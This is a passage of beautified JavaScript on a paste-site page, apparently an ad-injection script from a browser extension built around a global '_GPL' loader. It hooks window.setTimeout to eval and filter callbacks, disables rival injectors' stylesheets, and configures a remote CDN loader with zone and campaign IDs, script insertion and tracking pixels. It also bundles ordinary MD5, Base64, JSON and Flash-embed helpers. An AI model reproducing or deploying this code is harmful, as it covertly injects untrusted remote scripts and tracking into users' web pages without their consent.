  1785.             if (-1 == a.indexOf(b[c])) return !1;
  1786.         return !0
  1787.     }
  1788.  
  1789.     function ha() {
  1790.         for (var a = p.getElementsByTagName("style"), b = 0; b < a.length; b++) try {
  1791.             -1 != (a[b].styleSheet ? a[b].styleSheet.cssText : a[b].innerText ||
  1792.                 a[b].innerHTML).indexOf("-a.akamaihd.net/ssa") && (w("_GPL :: found bad stylesheet"), a[b].disabled = !0)
  1793.         } catch (c) {}
  1794.     }
  1795.  
  1796.     function ib() {
  1797.         var d = n.setTimeout,
  1798.             b = [];
  1799.         n.setTimeout = function(c, e) {
  1800.             return d(function() {
  1801.                 n._GPL = a; - 1 == b.indexOf(c) && (Fa("" + c, ["0.002", ".querySelector", ".csshd", "setTimeout"]) || Fa("" + c, ["__tbRunOnce", "PopupManager", "setTimeout", ".sufio"])) && (b.push(c), ha(), w("_GPL :: blacklist updated: " + c));
  1802.                 if (-1 == b.indexOf(c)) {
  1803.                     try {
  1804.                         "string" == typeof c ? eval(c) : c()
  1805.                     } catch (d) {}
  1806.                     n._GPL || (b.push(c), ha(), w("_GPL :: blacklist updated (after run): " +
  1807.                         c), n._GPL = a)
  1808.                 }
  1809.             }, e)
  1810.         }
  1811.     }
  1812.  
  1813.     function jb(a) {
  1814.         function b(b, c, a, e, d, h) {
  1815.             b = l(l(c, b), l(e, h));
  1816.             return l(b << d | b >>> 32 - d, a)
  1817.         }
  1818.  
  1819.         function c(c, a, d, e, k, l, h) {
  1820.             return b(a & d | ~a & e, c, a, k, l, h)
  1821.         }
  1822.  
  1823.         function e(c, a, d, e, k, l, h) {
  1824.             return b(a & e | d & ~e, c, a, k, l, h)
  1825.         }
  1826.  
  1827.         function h(c, a, e, d, k, l, h) {
  1828.             return b(e ^ (a | ~d), c, a, k, l, h)
  1829.         }
  1830.  
  1831.         function l(b, c) {
  1832.             var a = (b & 65535) + (c & 65535);
  1833.             return (b >> 16) + (c >> 16) + (a >> 16) << 16 | a & 65535
  1834.         }
  1835.         return function(b) {
  1836.             for (var c = "", a, e = 0; e < b.length; e++) a = b.charCodeAt(e), c += "0123456789abcdef".charAt(a >>> 4 & 15) + "0123456789abcdef".charAt(a & 15);
  1837.             return c
  1838.         }(function(a) {
  1839.             for (var d =
  1840.                     I(a.length >> 2), f = 0; f < d.length; f++) d[f] = 0;
  1841.             for (f = 0; f < 8 * a.length; f += 8) d[f >> 5] |= (a.charCodeAt(f / 8) & 255) << f % 32;
  1842.             a = 8 * a.length;
  1843.             d[a >> 5] |= 128 << a % 32;
  1844.             d[(a + 64 >>> 9 << 4) + 14] = a;
  1845.             a = 1732584193;
  1846.             for (var f = -271733879, g = -1732584194, k = 271733878, m = 0; m < d.length; m += 16) {
  1847.                 var n = a,
  1848.                     p = f,
  1849.                     q = g,
  1850.                     s = k;
  1851.                 a = c(a, f, g, k, d[m + 0], 7, -680876936);
  1852.                 k = c(k, a, f, g, d[m + 1], 12, -389564586);
  1853.                 g = c(g, k, a, f, d[m + 2], 17, 606105819);
  1854.                 f = c(f, g, k, a, d[m + 3], 22, -1044525330);
  1855.                 a = c(a, f, g, k, d[m + 4], 7, -176418897);
  1856.                 k = c(k, a, f, g, d[m + 5], 12, 1200080426);
  1857.                 g = c(g, k, a, f, d[m + 6], 17, -1473231341);
  1858.                 f =
  1859.                     c(f, g, k, a, d[m + 7], 22, -45705983);
  1860.                 a = c(a, f, g, k, d[m + 8], 7, 1770035416);
  1861.                 k = c(k, a, f, g, d[m + 9], 12, -1958414417);
  1862.                 g = c(g, k, a, f, d[m + 10], 17, -42063);
  1863.                 f = c(f, g, k, a, d[m + 11], 22, -1990404162);
  1864.                 a = c(a, f, g, k, d[m + 12], 7, 1804603682);
  1865.                 k = c(k, a, f, g, d[m + 13], 12, -40341101);
  1866.                 g = c(g, k, a, f, d[m + 14], 17, -1502002290);
  1867.                 f = c(f, g, k, a, d[m + 15], 22, 1236535329);
  1868.                 a = e(a, f, g, k, d[m + 1], 5, -165796510);
  1869.                 k = e(k, a, f, g, d[m + 6], 9, -1069501632);
  1870.                 g = e(g, k, a, f, d[m + 11], 14, 643717713);
  1871.                 f = e(f, g, k, a, d[m + 0], 20, -373897302);
  1872.                 a = e(a, f, g, k, d[m + 5], 5, -701558691);
  1873.                 k = e(k, a, f, g, d[m + 10], 9, 38016083);
  1874.                 g = e(g, k, a, f, d[m + 15], 14, -660478335);
  1875.                 f = e(f, g, k, a, d[m + 4], 20, -405537848);
  1876.                 a = e(a, f, g, k, d[m + 9], 5, 568446438);
  1877.                 k = e(k, a, f, g, d[m + 14], 9, -1019803690);
  1878.                 g = e(g, k, a, f, d[m + 3], 14, -187363961);
  1879.                 f = e(f, g, k, a, d[m + 8], 20, 1163531501);
  1880.                 a = e(a, f, g, k, d[m + 13], 5, -1444681467);
  1881.                 k = e(k, a, f, g, d[m + 2], 9, -51403784);
  1882.                 g = e(g, k, a, f, d[m + 7], 14, 1735328473);
  1883.                 f = e(f, g, k, a, d[m + 12], 20, -1926607734);
  1884.                 a = b(f ^ g ^ k, a, f, d[m + 5], 4, -378558);
  1885.                 k = b(a ^ f ^ g, k, a, d[m + 8], 11, -2022574463);
  1886.                 g = b(k ^ a ^ f, g, k, d[m + 11], 16, 1839030562);
  1887.                 f = b(g ^ k ^ a, f, g, d[m + 14], 23, -35309556);
  1888.                 a = b(f ^ g ^ k, a, f, d[m +
  1889.                     1], 4, -1530992060);
  1890.                 k = b(a ^ f ^ g, k, a, d[m + 4], 11, 1272893353);
  1891.                 g = b(k ^ a ^ f, g, k, d[m + 7], 16, -155497632);
  1892.                 f = b(g ^ k ^ a, f, g, d[m + 10], 23, -1094730640);
  1893.                 a = b(f ^ g ^ k, a, f, d[m + 13], 4, 681279174);
  1894.                 k = b(a ^ f ^ g, k, a, d[m + 0], 11, -358537222);
  1895.                 g = b(k ^ a ^ f, g, k, d[m + 3], 16, -722521979);
  1896.                 f = b(g ^ k ^ a, f, g, d[m + 6], 23, 76029189);
  1897.                 a = b(f ^ g ^ k, a, f, d[m + 9], 4, -640364487);
  1898.                 k = b(a ^ f ^ g, k, a, d[m + 12], 11, -421815835);
  1899.                 g = b(k ^ a ^ f, g, k, d[m + 15], 16, 530742520);
  1900.                 f = b(g ^ k ^ a, f, g, d[m + 2], 23, -995338651);
  1901.                 a = h(a, f, g, k, d[m + 0], 6, -198630844);
  1902.                 k = h(k, a, f, g, d[m + 7], 10, 1126891415);
  1903.                 g = h(g, k, a, f, d[m + 14], 15, -1416354905);
  1904.                 f = h(f, g, k, a, d[m + 5], 21, -57434055);
  1905.                 a = h(a, f, g, k, d[m + 12], 6, 1700485571);
  1906.                 k = h(k, a, f, g, d[m + 3], 10, -1894986606);
  1907.                 g = h(g, k, a, f, d[m + 10], 15, -1051523);
  1908.                 f = h(f, g, k, a, d[m + 1], 21, -2054922799);
  1909.                 a = h(a, f, g, k, d[m + 8], 6, 1873313359);
  1910.                 k = h(k, a, f, g, d[m + 15], 10, -30611744);
  1911.                 g = h(g, k, a, f, d[m + 6], 15, -1560198380);
  1912.                 f = h(f, g, k, a, d[m + 13], 21, 1309151649);
  1913.                 a = h(a, f, g, k, d[m + 4], 6, -145523070);
  1914.                 k = h(k, a, f, g, d[m + 11], 10, -1120210379);
  1915.                 g = h(g, k, a, f, d[m + 2], 15, 718787259);
  1916.                 f = h(f, g, k, a, d[m + 9], 21, -343485551);
  1917.                 a = l(a, n);
  1918.                 f = l(f, p);
  1919.                 g = l(g, q);
  1920.                 k = l(k, s)
  1921.             }
  1922.             d = [a, f, g,
  1923.                 k
  1924.             ];
  1925.             a = "";
  1926.             for (f = 0; f < 32 * d.length; f += 8) a += A.fromCharCode(d[f >> 5] >>> f % 32 & 255);
  1927.             return a
  1928.         }(function(a) {
  1929.             for (var b = "", c = -1, d, e; ++c < a.length;) d = a.charCodeAt(c), e = c + 1 < a.length ? a.charCodeAt(c + 1) : 0, 55296 <= d && 56319 >= d && 56320 <= e && 57343 >= e && (d = 65536 + ((d & 1023) << 10) + (e & 1023), c++), 127 >= d ? b += A.fromCharCode(d) : 2047 >= d ? b += A.fromCharCode(192 | d >>> 6 & 31, 128 | d & 63) : 65535 >= d ? b += A.fromCharCode(224 | d >>> 12 & 15, 128 | d >>> 6 & 63, 128 | d & 63) : 2097151 >= d && (b += A.fromCharCode(240 | d >>> 18 & 7, 128 | d >>> 12 & 63, 128 | d >>> 6 & 63, 128 | d & 63));
  1930.             return b
  1931.         }(a)))
  1932.     }(function() {
  1933.         I.prototype.indexOf ||
  1934.             (I.prototype.indexOf = function(a) {
  1935.                 if (void 0 === this || null === this) throw new TypeError;
  1936.                 var b = Object(this),
  1937.                     c = b.length >>> 0;
  1938.                 if (0 === c) return -1;
  1939.                 var e = 0;
  1940.                 0 < arguments.length && (e = u(arguments[1], 10), e !== e ? e = 0 : 0 !== e && e !== 1 / 0 && e !== -(1 / 0) && (e = (0 < e || -1) * B.floor(B.abs(e))));
  1941.                 if (e >= c) return -1;
  1942.                 for (e = 0 <= e ? e : B.max(c - B.abs(e), 0); e < c; e++)
  1943.                     if (e in b && b[e] === a) return e;
  1944.                 return -1
  1945.             })
  1946.     })();
  1947.     var M = function() {
  1948.             function a(b) {
  1949.                 return 10 > b ? "0" + b : b
  1950.             }
  1951.  
  1952.             function b(b) {
  1953.                 return b.getUTCFullYear() + "-" + a(b.getUTCMonth() + 1) + "-" + a(b.getUTCDate()) + "T" + a(b.getUTCHours()) +
  1954.                     ":" + a(b.getUTCMinutes()) + ":" + a(b.getUTCSeconds()) + "." + a(b.getUTCMilliseconds()) + "Z"
  1955.             }
  1956.  
  1957.             function c(a, d) {
  1958.                 var e, f, g, k;
  1959.                 e = /["\\\x00-\x1f\x7f-\x9f]/g;
  1960.                 var m;
  1961.                 switch (typeof a) {
  1962.                     case "string":
  1963.                         return e.test(a) ? '"' + a.replace(e, function(a) {
  1964.                             var b = h[a];
  1965.                             if (b) return b;
  1966.                             b = a.charCodeAt();
  1967.                             return "\\u00" + B.floor(b / 16).toString(16) + (b % 16).toString(16)
  1968.                         }) + '"' : '"' + a + '"';
  1969.                     case "number":
  1970.                         return Ma(a) ? A(a) : "null";
  1971.                     case "boolean":
  1972.                     case "null":
  1973.                         return A(a);
  1974.                     case "object":
  1975.                         if (!a) return "null";
  1976.                         if (a instanceof s) return '"' + b(a) + '"';
  1977.                         e = [];
  1978.                         if ("number" ===
  1979.                             typeof a.length && !a.propertyIsEnumerable("length")) {
  1980.                             k = a.length;
  1981.                             for (f = 0; f < k; f += 1) e.push(c(a[f], d) || "null");
  1982.                             return "[" + e.join(",") + "]"
  1983.                         }
  1984.                         if (d)
  1985.                             for (k = d.length, f = 0; f < k; f += 1) g = d[f], "string" === typeof g && (m = c(a[g], d)) && e.push(c(g) + ":" + m);
  1986.                         else
  1987.                             for (g in a) "string" === typeof g && (m = c(a[g], d)) && e.push(c(g) + ":" + m);
  1988.                         return "{" + e.join(",") + "}"
  1989.                 }
  1990.             }
  1991.  
  1992.             function e(a, b) {
  1993.                 function c(a, d) {
  1994.                     var e, f;
  1995.                     if (d && "object" === typeof d) {
  1996.                         for (e in d) Object.prototype.hasOwnProperty.apply(d, [e]) && (f = c(e, d[e]), f !== K && (d[e] = f));
  1997.                         return b(a, d)
  1998.                     }
  1999.                 }
  2000.                 var d;
  2001.                 if (/^[\],:{}\s]*$/.test(a.replace(/\\./g,
  2002.                         "@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]").replace(/(?:^|:|,)(?:\s*\[)+/g, ""))) return d = eval("(" + a + ")"), "function" === typeof b ? c("", d) : d;
  2003.                 throw new SyntaxError("parseJSON");
  2004.             }
  2005.             this.JSON || (this.JSON = {});
  2006.             var h = {
  2007.                 "\b": "\\b",
  2008.                 "\t": "\\t",
  2009.                 "\n": "\\n",
  2010.                 "\f": "\\f",
  2011.                 "\r": "\\r",
  2012.                 '"': '\\"',
  2013.                 "\\": "\\\\"
  2014.             };
  2015.             this.JSON.stringify || (this.JSON.stringify = c);
  2016.             this.JSON.parse || (this.JSON.parse = e);
  2017.             return {
  2018.                 stringify: c,
  2019.                 parse: e
  2020.             }
  2021.         }(),
  2022.         ga = function() {
  2023.             function a() {
  2024.                 if (!t) {
  2025.                     try {
  2026.                         var b = k.getElementsByTagName("body")[0].appendChild(k.createElement("span"));
  2027.                         b.parentNode.removeChild(b)
  2028.                     } catch (c) {
  2029.                         return
  2030.                     }
  2031.                     t = !0;
  2032.                     for (var b = q.length, d = 0; d < b; d++) q[d]()
  2033.                 }
  2034.             }
  2035.  
  2036.             function b(a) {
  2037.                 t ? a() : q[q.length] = a
  2038.             }
  2039.  
  2040.             function c() {
  2041.                 var a = k.getElementsByTagName("body")[0],
  2042.                     b = k.createElement(f);
  2043.                 b.setAttribute("type", g);
  2044.                 var c = a.appendChild(b);
  2045.                 if (c) {
  2046.                     var d = 0;
  2047.                     (function() {
  2048.                         if (typeof c.GetVariable != v) {
  2049.                             var f = c.GetVariable("$version");
  2050.                             f && (f = f.split(" ")[1].split(","), C.pv = [u(f[0], 10), u(f[1], 10), u(f[2], 10)])
  2051.                         } else if (10 > d) {
  2052.                             d++;
  2053.                             x(arguments.callee, 10);
  2054.                             return
  2055.                         }
  2056.                         a.removeChild(b);
  2057.                         c = null;
  2058.                         e()
  2059.                     })()
  2060.                 } else e()
  2061.             }
  2062.  
  2063.             function e() {
  2064.                 var a =
  2065.                     s.length;
  2066.                 if (0 < a)
  2067.                     for (var b = 0; b < a; b++) {
  2068.                         var c = s[b].id,
  2069.                             d = s[b].callbackFn,
  2070.                             e = {
  2071.                                 success: !1,
  2072.                                 id: c
  2073.                             };
  2074.                         0 < C.pv[0] ? l(c) && r(s[b].swfVersion) && !(C.wk && 312 > C.wk) && d && (e.success = !0, e.ref = h(c), d(e)) : d && ((c = h(c)) && typeof c.SetVariable != v && (e.success = !0, e.ref = c), d(e))
  2075.                     }
  2076.             }
  2077.  
  2078.             function h(a) {
  2079.                 var b = null;
  2080.                 (a = l(a)) && "OBJECT" == a.nodeName && (typeof a.SetVariable != v ? b = a : (a = a.getElementsByTagName(f)[0]) && (b = a));
  2081.                 return b
  2082.             }
  2083.  
  2084.             function l(a) {
  2085.                 var b = null;
  2086.                 try {
  2087.                     b = k.getElementById(a)
  2088.                 } catch (c) {}
  2089.                 return b
  2090.             }
  2091.  
  2092.             function r(a) {
  2093.                 var b = C.pv;
  2094.                 a = a.split(".");
  2095.                 a[0] = u(a[0],
  2096.                     10);
  2097.                 a[1] = u(a[1], 10) || 0;
  2098.                 a[2] = u(a[2], 10) || 0;
  2099.                 return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? !0 : !1
  2100.             }
  2101.             var v = "undefined",
  2102.                 f = "object",
  2103.                 g = "application/x-shockwave-flash",
  2104.                 k = p,
  2105.                 m = !1,
  2106.                 q = [function() {
  2107.                     m ? c() : e()
  2108.                 }],
  2109.                 s = [],
  2110.                 t = !1,
  2111.                 C = function() {
  2112.                     var a = typeof k.getElementById != v && typeof k.getElementsByTagName != v && typeof k.createElement != v,
  2113.                         b = z.userAgent.toLowerCase(),
  2114.                         c = z.platform.toLowerCase(),
  2115.                         d = c ? /win/.test(c) : /win/.test(b),
  2116.                         c = c ? /mac/.test(c) : /mac/.test(b),
  2117.                         b = /webkit/.test(b) ? parseFloat(b.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,
  2118.                             "$1")) : !1,
  2119.                         e = !+"\v1",
  2120.                         h = [0, 0, 0],
  2121.                         l = null;
  2122.                     if (typeof z.plugins != v && typeof z.plugins["Shockwave Flash"] == f) !(l = z.plugins["Shockwave Flash"].description) || typeof z.mimeTypes != v && z.mimeTypes[g] && !z.mimeTypes[g].enabledPlugin || (m = !0, e = !1, l = l.replace(/^.*\s+(\S+\s+\S+$)/, "$1"), h[0] = u(l.replace(/^(.*)\..*$/, "$1"), 10), h[1] = u(l.replace(/^.*\.(.*)\s.*$/, "$1"), 10), h[2] = /[a-zA-Z]/.test(l) ? u(l.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0);
  2123.                     else if (typeof n.ActiveXObject != v) try {
  2124.                         var r = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
  2125.                         r && (l = r.GetVariable("$version")) && (e = !0, l = l.split(" ")[1].split(","), h = [u(l[0], 10), u(l[1], 10), u(l[2], 10)])
  2126.                     } catch (p) {}
  2127.                     return {
  2128.                         w3: a,
  2129.                         pv: h,
  2130.                         wk: b,
  2131.                         ie: e,
  2132.                         win: d,
  2133.                         mac: c
  2134.                     }
  2135.                 }();
  2136.             (function() {
  2137.                 C.w3 && ((typeof k.readyState != v && "complete" == k.readyState || typeof k.readyState == v && (k.getElementsByTagName("body")[0] || k.body)) && a(), t || (typeof k.addEventListener != v && k.addEventListener("DOMContentLoaded", a, !1), C.ie && C.win && (k.attachEvent("onreadystatechange", function() {
  2138.                     "complete" == k.readyState && (k.detachEvent("onreadystatechange",
  2139.                         arguments.callee), a())
  2140.                 }), n == top && function() {
  2141.                     if (!t) {
  2142.                         try {
  2143.                             k.documentElement.doScroll("left")
  2144.                         } catch (b) {
  2145.                             x(arguments.callee, 0);
  2146.                             return
  2147.                         }
  2148.                         a()
  2149.                     }
  2150.                 }()), C.wk && function() {
  2151.                     t || (/loaded|complete/.test(k.readyState) ? a() : x(arguments.callee, 0))
  2152.                 }(), a()))
  2153.             })();
  2154.             return {
  2155.                 getObjectById: function(a) {
  2156.                     if (C.w3) return h(a)
  2157.                 },
  2158.                 embedSWF: function(a, c, d, e, h, m, n, p, q, s) {
  2159.                     var t = {
  2160.                         success: !1,
  2161.                         id: c
  2162.                     };
  2163.                     C.w3 && !(C.wk && 312 > C.wk) && a && c && d && e && h ? b(function() {
  2164.                         d += "";
  2165.                         e += "";
  2166.                         var b = {};
  2167.                         if (q && typeof q === f)
  2168.                             for (var m in q) b[m] = q[m];
  2169.                         b.data = a;
  2170.                         b.width = d;
  2171.                         b.height = e;
  2172.                         m = {};
  2173.                         if (p && typeof p === f)
  2174.                             for (var u in p) m[u] = p[u];
  2175.                         if (n && typeof n === f)
  2176.                             for (var y in n) m.flashvars = typeof m.flashvars != v ? m.flashvars + ("&" + y + "=" + n[y]) : y + "=" + n[y];
  2177.                         if (r(h)) {
  2178.                             var A;
  2179.                             u = l(c);
  2180.                             if (!(C.wk && 312 > C.wk) && u)
  2181.                                 if (typeof b.id == v && (b.id = c), C.ie && C.win) {
  2182.                                     var x = "",
  2183.                                         w;
  2184.                                     for (w in b) b[w] != Object.prototype[w] && ("data" == w.toLowerCase() ? m.movie = b[w] : "styleclass" == w.toLowerCase() ? x += ' class="' + b[w] + '"' : "classid" != w.toLowerCase() && (x += " " + w + '="' + b[w] + '"'));
  2185.                                     w = "";
  2186.                                     for (var z in m) m[z] != Object.prototype[z] && (w += '<param name="' +
  2187.                                         z + '" value="' + m[z] + '" />');
  2188.                                     u.outerHTML = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + x + ">" + w + "</object>";
  2189.                                     A = l(b.id)
  2190.                                 } else {
  2191.                                     z = k.createElement(f);
  2192.                                     z.setAttribute("type", g);
  2193.                                     for (var B in b) b[B] != Object.prototype[B] && ("styleclass" == B.toLowerCase() ? z.setAttribute("class", b[B]) : "classid" != B.toLowerCase() && z.setAttribute(B, b[B]));
  2194.                                     for (x in m) m[x] != Object.prototype[x] && "movie" != x.toLowerCase() && (w = z, B = x, A = m[x], y = k.createElement("param"), y.setAttribute("name", B), y.setAttribute("value", A), w.appendChild(y));
  2195.                                     u.parentNode.replaceChild(z, u);
  2196.                                     A = z
  2197.                                 }
  2198.                             t.success = !0;
  2199.                             t.ref = A
  2200.                         }
  2201.                         s && s(t)
  2202.                     }) : s && s(t)
  2203.                 },
  2204.                 ua: C,
  2205.                 getFlashPlayerVersion: function() {
  2206.                     return {
  2207.                         major: C.pv[0],
  2208.                         minor: C.pv[1],
  2209.                         release: C.pv[2]
  2210.                     }
  2211.                 },
  2212.                 hasFlashPlayerVersion: r
  2213.             }
  2214.         }(),
  2215.         kb = function() {
  2216.             return {
  2217.                 _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  2218.                 decode: function(a) {
  2219.                     var b = "",
  2220.                         c, e, h, l, n, p = 0;
  2221.                     for (a = a.replace(/[^A-Za-z0-9\+\/\=]/g, ""); p < a.length;) c = this._keyStr.indexOf(a.charAt(p++)), e = this._keyStr.indexOf(a.charAt(p++)), l = this._keyStr.indexOf(a.charAt(p++)),
  2222.                         n = this._keyStr.indexOf(a.charAt(p++)), c = c << 2 | e >> 4, e = (e & 15) << 4 | l >> 2, h = (l & 3) << 6 | n, b += A.fromCharCode(c), 64 != l && (b += A.fromCharCode(e)), 64 != n && (b += A.fromCharCode(h));
  2223.                     return this._utf8_decode(b)
  2224.                 },
  2225.                 _utf8_decode: function(a) {
  2226.                     for (var b = "", c = 0, e = 0, h = 0, l = 0; c < a.length;) e = a.charCodeAt(c), 128 > e ? (b += A.fromCharCode(e), c++) : 191 < e && 224 > e ? (h = a.charCodeAt(c + 1), b += A.fromCharCode((e & 31) << 6 | h & 63), c += 2) : (h = a.charCodeAt(c + 1), l = a.charCodeAt(c + 2), b += A.fromCharCode((e & 15) << 12 | (h & 63) << 6 | l & 63), c += 3);
  2227.                     return b
  2228.                 },
  2229.                 encode: function(a) {
  2230.                     var b =
  2231.                         "",
  2232.                         c, e, h, l, n, p, f = 0;
  2233.                     for (a = this._utf8_encode(a); f < a.length;) c = a.charCodeAt(f++), e = a.charCodeAt(f++), h = a.charCodeAt(f++), l = c >> 2, c = (c & 3) << 4 | e >> 4, n = (e & 15) << 2 | h >> 6, p = h & 63, aa(e) ? n = p = 64 : aa(h) && (p = 64), b = b + this._keyStr.charAt(l) + this._keyStr.charAt(c) + this._keyStr.charAt(n) + this._keyStr.charAt(p);
  2234.                     return b
  2235.                 },
  2236.                 _utf8_encode: function(a) {
  2237.                     a = a.replace(/\r\n/g, "\n");
  2238.                     for (var b = "", c = 0; c < a.length; c++) {
  2239.                         var e = a.charCodeAt(c);
  2240.                         128 > e ? b += A.fromCharCode(e) : (127 < e && 2048 > e ? b += A.fromCharCode(e >> 6 | 192) : (b += A.fromCharCode(e >> 12 | 224),
  2241.                             b += A.fromCharCode(e >> 6 & 63 | 128)), b += A.fromCharCode(e & 63 | 128))
  2242.                     }
  2243.                     return b
  2244.                 }
  2245.             }
  2246.         }(),
  2247.         lb = function() {
  2248.             function a(c, d, h) {
  2249.                 if (c = b.s[c])
  2250.                     for (var l in c)
  2251.                         if (c.hasOwnProperty(l)) {
  2252.                             var n = b[l];
  2253.                             if (n) {
  2254.                                 l in h || (h[l] = {});
  2255.                                 for (var p = h[l], f = c[l], g = 0, k = f.length; g < k; g++) {
  2256.                                     var m = n[f[g]];
  2257.                                     m && !p[m] && (p[m] = !0, l in d || (d[l] = []), d[l].push(m))
  2258.                                 }
  2259.                             }
  2260.                         }
  2261.             }
  2262.             var b = {};
  2263.             return function(c) {
  2264.                 if (c) b = c;
  2265.                 else {
  2266.                     var e = t.hostname;
  2267.                     if ("s" in b) {
  2268.                         c = ya(e);
  2269.                         c = c[c.length - 1];
  2270.                         var h = {},
  2271.                             l = e.substr(0, e.length - c.length).replace(/\.$/, "");
  2272.                         a(l, h, {});
  2273.                         var l = {},
  2274.                             n = {};
  2275.                         do e = e.substr(0,
  2276.                             e.length - c.length).replace(/\.$/, ""), a(e, l, n); while ("" !== e);
  2277.                         c = {
  2278.                             specific: h,
  2279.                             inherited: l
  2280.                         }
  2281.                     } else c = void 0;
  2282.                     return c
  2283.                 }
  2284.             }
  2285.         }(),
  2286.         R = n._GPL,
  2287.         ua = {},
  2288.         Qa = +new s,
  2289.         xa = !1,
  2290.         ma = !1,
  2291.         U = [],
  2292.         L = [],
  2293.         H = [],
  2294.         T = "",
  2295.         ta = {},
  2296.         ca = {},
  2297.         qa = !1,
  2298.         Ba = !1,
  2299.         Aa = !1,
  2300.         fa = [],
  2301.         N = {},
  2302.         Ea = +new s,
  2303.         W = [],
  2304.         da = n._GPL_baseCDN || "cdncache-a.akamaihd.net",
  2305.         G = n.jQuery;
  2306.     0 > function(a, b) {
  2307.         a = a.split(/\./g);
  2308.         b = b.split(/\./g);
  2309.         for (var c = B.max(a.length, b.length), e = 0; e < c; ++e) {
  2310.             var h = a[e] | 0,
  2311.                 l = b[e] | 0;
  2312.             if (h != l) return h < l ? -1 : 1
  2313.         }
  2314.         return 0
  2315.     }(G && G.fn && G.fn.jquery || "0", "1.9") && (G = K);
  2316.     var X = [],
  2317.         F = {};
  2318.     if (R && R.vars &&
  2319.         R.vars.cid) {
  2320.         var ia = R.items.e6a00;
  2321.         if (ia.ready) R.addLoader(y, "16");
  2322.         else {
  2323.             var mb = ia.onready;
  2324.             ia.onready = function() {
  2325.                 var a = mb.apply(this, arguments);
  2326.                 R.addLoader(y, "16");
  2327.                 return a
  2328.             }
  2329.         }
  2330.     } else {
  2331.         var a = n._GPL = {
  2332.             JSON: M,
  2333.             vars: n._GPL_vars || {
  2334.                 zoneid: "8623",
  2335.                 pid: Y,
  2336.                 cid: Ha,
  2337.                 types: [],
  2338.                 aoi: (+new s / 1E3 | 0) - 1
  2339.             },
  2340.             log: w,
  2341.             proto: p.location.protocol + "//",
  2342.             baseCDN: da,
  2343.             fCDN: "cdncache-a.akamaihd.net",
  2344.             items: {},
  2345.             item_vars: {},
  2346.             f: {},
  2347.             fl: {},
  2348.             rl: !1,
  2349.             isIE6: -1 != z.userAgent.toLowerCase().indexOf("msie"),
  2350.             cb: (+new s / 1E3 | 0) - (+new s / 1E3 | 0) %
  2351.                 3600,
  2352.             wlid: Ia,
  2353.             wl: Ja,
  2354.             wld: Ka,
  2355.             icp: Ya,
  2356.             getItemPerms: function() {
  2357.                 return y
  2358.             },
  2359.             icp_cb: za,
  2360.             replaceVars: Za,
  2361.             addLoader: $a,
  2362.             ri: ab,
  2363.             on: bb,
  2364.             j: Pa,
  2365.             lj: K,
  2366.             l: db,
  2367.             insertJS: cb,
  2368.             firePixel: function(a) {
  2369.                 (new J).src = a
  2370.             },
  2371.             canLoad: eb,
  2372.             dt: lb,
  2373.             dv: ya,
  2374.             gc: fb,
  2375.             sc: gb,
  2376.             getSubId: function(d) {
  2377.                 d = a.zoneid(d);
  2378.                 return ["g", q(d), a.guid, a.subid(d)].join("-")
  2379.             },
  2380.             subid: function(a) {
  2381.                 return a && ua[a] || ""
  2382.             },
  2383.             getExtensionName: function(d) {
  2384.                 return d && ta[d] || a.vars.ext || a.wl || "Browser Extension"
  2385.             },
  2386.             zoneid: function(d, b) {
  2387.                 for (var c = [], c = Ca(c, y.ALL && y.ALL[d] ? y.ALL[d] : []), c = Ca(c, y[a.vars.cid] &&
  2388.                         y[a.vars.cid][d] ? y[a.vars.cid][d] : []), e = 0; e < H.length; e++)
  2389.                     for (var h = 0; h < c.length; h++)
  2390.                         if (c[h].split("_")[0] == H[e]) return b ? c[h] : H[e];
  2391.                 return b ? a.vars.zoneid + "_" + a.vars.pid : a.vars.zoneid
  2392.             },
  2393.             B64: kb,
  2394.             MD5: jb,
  2395.             swfobject: ga,
  2396.             rulesLoaded: ea,
  2397.             sb: Xa,
  2398.             rs: function(a) {
  2399.                 for (var b = [], c = 0; c < a; c++) b.push(A.fromCharCode(97 + 26 * B.random() | 0));
  2400.                 return b.join("")
  2401.             },
  2402.             fc: ka,
  2403.             gd: la,
  2404.             pc: Q,
  2405.             uf: Oa
  2406.         };
  2407.         a.items.e6a00 = hb();
  2408.         var Ga = function() {
  2409.             ha();
  2410.             n._GPL = n._GPL || a;
  2411.             Ra()
  2412.         };
  2413.         ib();
  2414.         n.EBMessageReceived || n.EBJSON || n.EBToolbarApi ? x(Ga, 600) : Ga()
  2415.     }
  2416.     n._GPL.log("Loaded script")
  2417. }("US",
  2418.     "16", {
  2419.         "ALL": {
  2420.             "b89f0": [],
  2421.             "bda27": [],
  2422.             "o7272": [],
  2423.             "fb7b3": [],
  2424.             "adba9": [],
  2425.             "a652c": [],
  2426.             "rccd9": [],
  2427.             "22555": [],
  2428.             "nd37f": [],
  2429.             "g9384": [],
  2430.             "x1e1c": []
  2431.         }
  2432.     }, "", "", "", false, document, window.history, window.localStorage, location, navigator, window, Array, Date, Image, String, Math, clearInterval, decodeURIComponent, encodeURIComponent, isFinite, isNaN, parseInt, RegExp, setInterval, setTimeout, void 0);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement